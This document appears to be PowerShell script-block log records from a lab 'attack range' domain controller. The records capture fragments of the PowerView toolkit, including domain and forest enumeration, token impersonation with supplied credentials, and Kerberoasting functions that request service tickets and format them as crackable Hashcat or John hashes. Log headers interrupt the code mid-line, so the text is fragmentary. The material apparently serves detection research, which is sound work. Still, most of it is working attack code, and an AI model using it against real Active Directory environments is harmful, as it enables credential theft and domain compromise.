[OutputType('System.DirectoryServices.ActiveDirectory.DomainController')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[Switch]
$LDAP,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$Arguments = @{}
if ($PSBoundParameters['Domain']) { $Arguments['Domain'] = $Domain }
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
if ($PSBoundParameters['LDAP'] -or $PSBoundParameters['Server']) {
if ($PSBoundParameters['Server']) { $Arguments['Server'] = $Server }
# UAC specification for domain controllers
$Arguments['LDAPFilter'] = '(userAccountControl:1.2.840.113556.1.4.803:=8192)'
Get-DomainComputer @Arguments
}
else {
$FoundDomain = Get-Domain @Arguments
if ($FoundDomain) {
$FoundDomain.DomainControllers
}
}
}
}
function Get-Forest {
<#
.SYNOPSIS
Returns the forest object for the current (or specified) forest.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: ConvertTo-SID
.DESCRIPTION
Returns a System.DirectoryServices.ActiveDirectory.Forest object for the current
forest or the forest specified with -Forest X.
.PARAMETER Forest
The forest name to query for, defaults to the current forest.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target forest.
.EXAMPLE
Get-Forest -Forest external.domain
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-Forest -Credential $Cred
.OUTPUTS
System.Management.Automation.PSCustomObject
Outputs a PSObject containing System.DirectoryServices.ActiveDirectory.Forest in addition
to the forest root domain SID.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.Management.Automation.PSCustomObject')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
if ($PSBoundParameters['Credential']) {
Write-Verbose "[Get-Forest] Using alternate credentials for Get-Forest"
if ($PSBoundParameters['Forest']) {
$TargetForest = $Forest
}
else {
# if no domain is supplied, extract the logon domain from the PSCredential passed
$TargetForest = $Credential.GetNetworkCredential().Domain
Write-Verbose "[Get-Forest] Extracted domain '$Forest' from -Credential"
}
$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $TargetForest, $Credential.UserName, $Credential.GetNetworkCredential().Password)
try {
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
}
catch {
Write-Verbose "[Get-Forest] The specified forest '$TargetForest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_"
$Null
}
}
elseif ($PSBoundParameters['Forest']) {
$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest)
try {
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
}
catch {
Write-Verbose "[Get-Forest] The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust: $_"
return $Null
}
}
else {
# otherwise use the current forest
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
}
if ($ForestObject) {
# get the SID of the forest root
if ($PSBoundParameters['Credential']) {
$ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name -Credential $Credential).objectsid
}
else {
$ForestSid = (Get-DomainUseac7f965d-34de-40ad-9419-1215aebde7ed
4104132150x0111924Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local748h]
$Tombstone,
[ValidateSet('John', 'Hashcat')]
[Alias('Format')]
[String]
$OutputFormat = 'Hashcat',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$UserSearcherArguments = @{
'SPN' = $True
'Properties' = 'samaccountname,distinguishedname,serviceprincipalname'
}
if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $UserSearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}
PROCESS {
if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity }
Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket -OutputFormat $OutputFormat
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Get-PathAcl {
<#
.SYNOPSIS
Enumerates the ACL for a given file path.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertFrom-SID
.DESCRIPTION
Enumerates the ACL for a specified file/folder path, and translates
the access rules for each entry into readable formats. If -Credential is passed,
Add-RemoteConnection/Remove-RemoteConnection is used to temporarily map the remote share.
.PARAMETER Path
Specifies the local or remote path to enumerate the ACLs for.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target path.
.EXAMPLE
Get-PathAcl "\\SERVER\Share\"
Returns ACLs for the given UNC share.
.EXAMPLE
gci .\test.txt | Get-PathAcl
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)
Get-PathAcl -Path "\\SERVER\Share\" -Credential $Cred
.INPUTS
String
One of more paths to enumerate ACLs for.
.OUTPUTS
PowerView.FileACL
A custom object with the full path and associated ACL entries.
.LINK
https://support.microsoft.com/en-us/kb/305144
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.FileACL')]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('FullName')]
[String[]]
$Path,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
function Convert-FileRight {
# From Ansgar Wiechers at http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights
[CmdletBinding()]
Param(
[Int]
$FSR
)
$AccessMask = @{
[uint32]'0x80000000' = 'GenericRead'
[uint32]'0x40000000' = 'GenericWrite'
[uint32]'0x20000000' = 'GenericExecute'
[uint32]'0x10000000' = 'GenericAll'
[uint32]'0x02000000' = 'MaximumAllowed'
[uint32]'0x01000000' = 'AccessSystemSecurity'
[uint32]'0x00100000' = 'Synchronize'
[uint32]'0x00080000' = 'WriteOwner'
[uint32]'0x00040000' = 'WriteDAC'
[uint32]'0x00020000' = 'ReadControl'
[uint32]'0x00010000' = 'Delete'
[uint32]'0x00000100' = 'WriteAttributes'
[uint32]'0x00000080' = 'ReadAttributes'
[uint32]'0x00000040' = 'DeleteChild'
[uint32]'0x00000020' = 'Execute/Traverse'
[uint32]'0x00000010' = 'WriteExtendedAttributes'
[uint32]'0x00000008' = 'ReadExtendedAttributes'
[uint32]'0x00000004' = 'AppendData/AddSubdirectory'
[uint32]'0x00000002' = 'WriteData/AddFile'
[uint32]'0x00000001' = 'ReadData/ListDirectory'
}
$SimplePermissions = @{
[uint32]'0x1f01ff' = 'FullControl'
[uint32]'0x0301bf' = 'Modify'
[uint32]'0x0200a9' = 'ReadAndExecute'
[uint32]'0x02019f' = 'ReadAndWrite'
[uint32]'0x020089' = 'Read'
[uint32]'0x000116' = 'Write'
}
$Permissions = @()
# get simple permission
$Permissions += $SimplePermissions.Keys | ForEach-Object {
if (($FSR -band $_) -eq $_) {
$SimplePermissions[$_]
$FSR = $FSR -band (-not $_)
}
}
# get remaining extended permissions
$Permissions += $AccessMask.Keys | Where-Object { $FSR -band $_ } | ForEach-Object { $AccessMask[$_] }
($Permissions | Where-Object {$_}) -join ','
}
$ConvertArguments = @{}
if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential }
$MappedComputers = @{}
}
PROCESS {
ForEach ($TargetPath in $Path) {
try {
if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
$HostComputer = (New-Object System.Uri($TargetPath)).Host
if (-not $MappedComputers[$HostComputer]) {
# map IPC$ to this computer if it's not already
Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential
$MappedComputers[$HostComputer] = $True
}
}
$ACL = Get-Acl -Path $TargetPath
$ACL.GetAccessRules($True, $True, [System.Security.Principal.SecurityIdentifier]) | ForEach-Object {
$SID = $_.IdentityReference.Value
$Name = ConvertFrom-SID -ObjectSID $SID @ConvertArguments
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'Path' $TargetPath
$Out | Add-Member Noteproperty 'FileSystemRights' (Convert-FileRight -FSR $_.FileSystemRights.value__)
$Out | Add-Member Noteproperty 'IdentityReference' $Name
$Out | Add-Member Noteproperty 'IdentitySID' $SID
$Out | Add-Member Noteproperty 'AccessControlType' $_.AccessControlType
$Out.PSObject.TypeNames.Insert(0, 'PowerView.FileACL')
$Out
}
}
catch {
Write-Verbose "[Get-PathAcl] error: $_"
}
}
}
END {
# remove the IPC$ mappings
$MappedComputers.Keys | Remove-RemoteConnection
}
}
function Convert-LDAPProperty {
<#
.SYNOPSIS
Helper that converts specific LDAP property result fields and outputs
a custom psobject.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Converts a set of raw LDAP properties results from ADSI/LDAP searches
into a proper PSObject. Used by several of the Get-Domain* function.
.PARAMETER Properties
Properties object to extract out LDAP fields for display.
.OUTPUTS
System.Management.Automation.PSCustomObject
A custom PSObject with LDAP hashtable properties translated.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.Management.Automation.PSCustomObject')]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
$Properties
)
$ObjectProperties = @{}
$Properties.PropertyNames | ForEach-Object {
if ($_ -ne 'adspath') {
if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) {
# convert all listed sids (i.e. if multiple are listed in sidHistory)
$ObjectProperties[$_] = $Properties[$_] | ForEach-Object { (New-Object System.Security.Principal.SecurityIdentifier($_, 0)).Value }
}
elseif ($_ -eq 'grouptype') {
$ObjectProperties[$_] = $Properties[$_][0] -as $GroupTypeEnum
}
elseif ($_ -eq 'samaccounttype') {
$ObjectProperties[$_] = $Properties[$_][0] -as $SamAccountTypeEnum
}
elseif ($_ -eq 'objectguid') {
# convert the GUID to a string
$ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid
}
elseif ($_ -eq 'useraccountcontrol') {
$ObjectProperties[$_] = $Properties[$_][0] -as $UACEnum
}
elseif ($_ -eq 'ntsecuritydescriptor') {
# $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0
if ($Descriptor.Owner) {
$ObjectProperties['Owner'] = $Descriptor.Owner
}
if ($Descriptor.Group) {
$ObjectProperties['Group'] = $Descriptor.Group
}
if ($Descriptor.DiscretionaryAcl) {
$ObjectProperties['DiscretionaryAcl'] = $Descriptor.DiscretionaryAcl
}
if ($Descriptor.SystemAcl) {
$ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl
}
}
elseif ($_ -eq 'accountexpires') {
if ($Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) {
$ObjectProperties[$_] = "NEVER"
}
else {
$ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0])
}
}
elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) {
# convert timestamps
if ($Properties[$_][0] -is [System.MarshalByRefObject]) {
# if we have a System.__ComObject
$Temp = $Properties[$_][0]
[Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
[Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
$ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low)))
}
else {
# otherwise just a string
$ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0])))
}
}
elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) {
# try to convert misc com objects
$Prop = $Properties[$_]
try {
$Temp = $Prop[$_][0]
[Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
[Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
$ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low)
}
catch {
Write-Verbose "[Convert-LDAPProperty] error: $_"
$ObjectProperties[$_] = $Prop[$_]
}
}
elseif ($Properties[$_].count -eq 1) {
$ObjectProperties[$_] = $Properties[$_][0]
}
else {
$ObjectProperties[$_] = $Properties[$_]
}
}
}
try {
New-Object -TypeName PSObject -Property $ObjectProperties
}
catch {
Write-Warning "[Convert-LDAPProperty] Error parsing LDAP properties : $_"
}
}
########################################################
#
# Domain info functions below.
#
########################################################
function Get-DomainSearcher {
<#
.SYNOPSIS
Helper used by various functions that builds a custom AD searcher object.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Domain
.DESCRIPTION
Takes a given domain and a number of customizations and returns a
System.DirectoryServices.DirectorySearcher object. This function is used
heavily by other LDAP/ADSI searcher functions (Verb-Domain*).
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER SearchBasePrefix
Specifies a prefix for the LDAP search string (i.e. "CN=Sites,CN=Configuration").
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to for the search.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainSearcher -Domain testlab.local
Return a searcher for all objects in testlab.local.
.EXAMPLE
Get-DomainSearcher -Domain testlab.local -LDAPFilter '(samAccountType=805306368)' -Properties 'SamAccountName,lastlogon'
Return a searcher for user objects in testlab.local and only return the SamAccountName and LastLogon properties.
.EXAMPLE
Get-DomainSearcher -SearchBase "LDAP://OU=secret,DC=testlab,DC=local"
Return a searcher that searches through the specific ADS/LDAP search base (i.e. OU).
.OUTPUTS
System.DirectoryServices.DirectorySearcher
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.DirectoryServices.DirectorySearcher')]
[CmdletBinding()]
Param(
[Parameter(ValueFromPipeline ac7f965d-34de-40ad-9419-1215aebde7ed
4104132150x0111923Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local648 BSD 3-Clause
Required Dependencies: PSReflect
.DESCRIPTION
This function uses LogonUser() with the LOGON32_LOGON_NEW_CREDENTIALS LogonType
to simulate "runas /netonly". The resulting token is then impersonated with
ImpersonateLoggedOnUser() and the token handle is returned for later usage
with Invoke-RevertToSelf.
.PARAMETER Credential
A [Management.Automation.PSCredential] object with alternate credentials
to impersonate in the current thread space.
.PARAMETER TokenHandle
An IntPtr TokenHandle returned by a previous Invoke-UserImpersonation.
If this is supplied, LogonUser() is skipped and only ImpersonateLoggedOnUser()
is executed.
.PARAMETER Quiet
Suppress any warnings about STA vs MTA.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Invoke-UserImpersonation -Credential $Cred
.OUTPUTS
IntPtr
The TokenHandle result from LogonUser.
#>
[OutputType([IntPtr])]
[CmdletBinding(DefaultParameterSetName = 'Credential')]
Param(
[Parameter(Mandatory = $True, ParameterSetName = 'Credential')]
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential,
[Parameter(Mandatory = $True, ParameterSetName = 'TokenHandle')]
[ValidateNotNull()]
[IntPtr]
$TokenHandle,
[Switch]
$Quiet
)
if (([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') -and (-not $PSBoundParameters['Quiet'])) {
Write-Warning "[Invoke-UserImpersonation] powershell.exe is not currently in a single-threaded apartment state, token impersonation may not work."
}
if ($PSBoundParameters['TokenHandle']) {
$LogonTokenHandle = $TokenHandle
}
else {
$LogonTokenHandle = [IntPtr]::Zero
$NetworkCredential = $Credential.GetNetworkCredential()
$UserDomain = $NetworkCredential.Domain
$UserName = $NetworkCredential.UserName
Write-Warning "[Invoke-UserImpersonation] Executing LogonUser() with user: $($UserDomain)\$($UserName)"
# LOGON32_LOGON_NEW_CREDENTIALS = 9, LOGON32_PROVIDER_WINNT50 = 3
# this is to simulate "runas.exe /netonly" functionality
$Result = $Advapi32::LogonUser($UserName, $UserDomain, $NetworkCredential.Password, 9, 3, [ref]$LogonTokenHandle);$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error();
if (-not $Result) {
throw "[Invoke-UserImpersonation] LogonUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
}
}
# actually impersonate the token from LogonUser()
$Result = $Advapi32::ImpersonateLoggedOnUser($LogonTokenHandle)
if (-not $Result) {
throw "[Invoke-UserImpersonation] ImpersonateLoggedOnUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
}
Write-Verbose "[Invoke-UserImpersonation] Alternate credentials successfully impersonated"
$LogonTokenHandle
}
function Invoke-RevertToSelf {
<#
.SYNOPSIS
Reverts any token impersonation.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect
.DESCRIPTION
This function uses RevertToSelf() to revert any impersonated tokens.
If -TokenHandle is passed (the token handle returned by Invoke-UserImpersonation),
CloseHandle() is used to close the opened handle.
.PARAMETER TokenHandle
An optional IntPtr TokenHandle returned by Invoke-UserImpersonation.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
$Token = Invoke-UserImpersonation -Credential $Cred
Invoke-RevertToSelf -TokenHandle $Token
#>
[CmdletBinding()]
Param(
[ValidateNotNull()]
[IntPtr]
$TokenHandle
)
if ($PSBoundParameters['TokenHandle']) {
Write-Warning "[Invoke-RevertToSelf] Reverting token impersonation and closing LogonUser() token handle"
$Result = $Kernel32::CloseHandle($TokenHandle)
}
$Result = $Advapi32::RevertToSelf();$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error();
if (-not $Result) {
throw "[Invoke-RevertToSelf] RevertToSelf() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
}
Write-Verbose "[Invoke-RevertToSelf] Token impersonation successfully reverted"
}
function Get-DomainSPNTicket {
<#
.SYNOPSIS
Request the kerberos ticket for a specified service principal name (SPN).
Author: machosec, Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf
.DESCRIPTION
This function will either take one/more SPN strings, or one/more PowerView.User objects
(the output from Get-DomainUser) and will request a kerberos ticket for the given SPN
using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted
portion of the ticket is then extracted and output in either crackable John or Hashcat
format (deafult of Hashcat).
.PARAMETER SPN
Specifies the service principal name to request the ticket for.
.PARAMETER User
Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for.
.PARAMETER OutputFormat
Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
Defaults to 'John'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote domain using Invoke-UserImpersonation.
.EXAMPLE
Get-DomainSPNTicket -SPN "HTTP/web.testlab.local"
Request a kerberos service ticket for the specified SPN.
.EXAMPLE
"HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-DomainSPNTicket
Request kerberos service tickets for all SPNs passed on the pipeline.
.EXAMPLE
Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat JTR
Request kerberos service tickets for all users with non-null SPNs and output in JTR format.
.INPUTS
String
Accepts one or more SPN strings on the pipeline with the RawSPN parameter set.
.INPUTS
PowerView.User
Accepts one or more PowerView.User objects on the pipeline with the User parameter set.
.OUTPUTS
PowerView.SPNTicket
Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section.
#>
[OutputType('PowerView.SPNTicket')]
[CmdletBinding(DefaultParameterSetName = 'RawSPN')]
Param (
[Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)]
[ValidatePattern('.*/.*')]
[Alias('ServicePrincipalName')]
[String[]]
$SPN,
[Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)]
[ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })]
[Object[]]
$User,
[ValidateSet('John', 'Hashcat')]
[Alias('Format')]
[String]
$OutputFormat = 'Hashcat',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}
PROCESS {
if ($PSBoundParameters['User']) {
$TargetObject = $User
}
else {
$TargetObject = $SPN
}
ForEach ($Object in $TargetObject) {
if ($PSBoundParameters['User']) {
$UserSPN = $Object.ServicePrincipalName
$SamAccountName = $Object.SamAccountName
$DistinguishedName = $Object.DistinguishedName
}
else {
$UserSPN = $Object
$SamAccountName = 'UNKNOWN'
$DistinguishedName = 'UNKNOWN'
}
# if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :) -@st3r30byt3
if ($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]) {
$UserSPN = $UserSPN[0]
}
try {
$Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
}
catch {
Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_"
}
if ($Ticket) {
$TicketByteStream = $Ticket.GetRequest()
}
if ($TicketByteStream) {
$Out = New-Object PSObject
$TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
$Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName
$Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName
$Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
# TicketHexStream == GSS-API Frame (see https://tools.ietf.org/html/rfc4121#section-4.1)
# No easy way to parse ASN1, so we'll try some janky regex to parse the embedded KRB_AP_REQ.Ticket object
if($TicketHexStream -match 'a382....3082....A0030201(?<EtypeLen>..)A1.{1,4}.......A282(?<CipherTextLen>....)........(?<DataToEnd>.+)') {
$Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 )
$CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16)-4
$CipherText = $Matches.DataToEnd.Substring(0,$CipherTextLen*2)
# Make sure the next field matches the beginning of the KRB_AP_REQ.Authenticator object
if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') {
Write-Warning "Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"
$Hash = $null
$Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
} else {
$Hash = "$($CipherText.Substring(0,32))`$$($CipherText.Substring(32))"
$Out | Add-Member Noteproperty 'TicketByteHexStream' $null
}
} else {
Write-Warning "Unable to parse ticket structure for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"
$Hash = $null
$Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
}
if($Hash) {
# JTR jumbo output format - $krb5tgs$SPN/machine.testlab.local:63386d22d359fe...
if ($OutputFormat -match 'John') {
$HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash"
}
else {
if ($DistinguishedName -ne 'UNKNOWN') {
$UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
}
else {
$UserDomain = 'UNKNOWN'
}
# hashcat output format - $krb5tgs$23$*user$realm$test/spn*$63386d22d359fe...
$HashFormat = "`$krb5tgs`$$($Etype)`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
}
$Out | Add-Member Noteproperty 'Hash' $HashFormat
}
$Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
$Out
}
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Invoke-Kerberoast {
<#
.SYNOPSIS
Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes.
Author: Will Schroeder (@harmj0y), @machosec
License: BSD 3-Clause
Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, Get-DomainUser, Get-DomainSPNTicket
.DESCRIPTION
Uses Get-DomainUser to query for user accounts with non-null service principle
names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information.
The ticket format can be specified with -OutputFormat <John/Hashcat>.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER OutputFormat
Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
Defaults to 'Hashcat'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Invoke-Kerberoast | fl
Kerberoasts all found SPNs for the current domain, outputting to Hashcat format (default).
.EXAMPLE
Invoke-Kerberoast -Domain dev.testlab.local | fl
Kerberoasts all found SPNs for the testlab.local domain, outputting to JTR
format instead of Hashcat.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce
$Cred = New-Object System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword)
Invoke-Kerberoast -Credential $Cred -Verbose -Domain testlab.local | fl
Kerberoasts all found SPNs for the testlab.local domain using alternate credentials.
.OUTPUTS
PowerView.SPNTicket
Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.SPNTicket')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
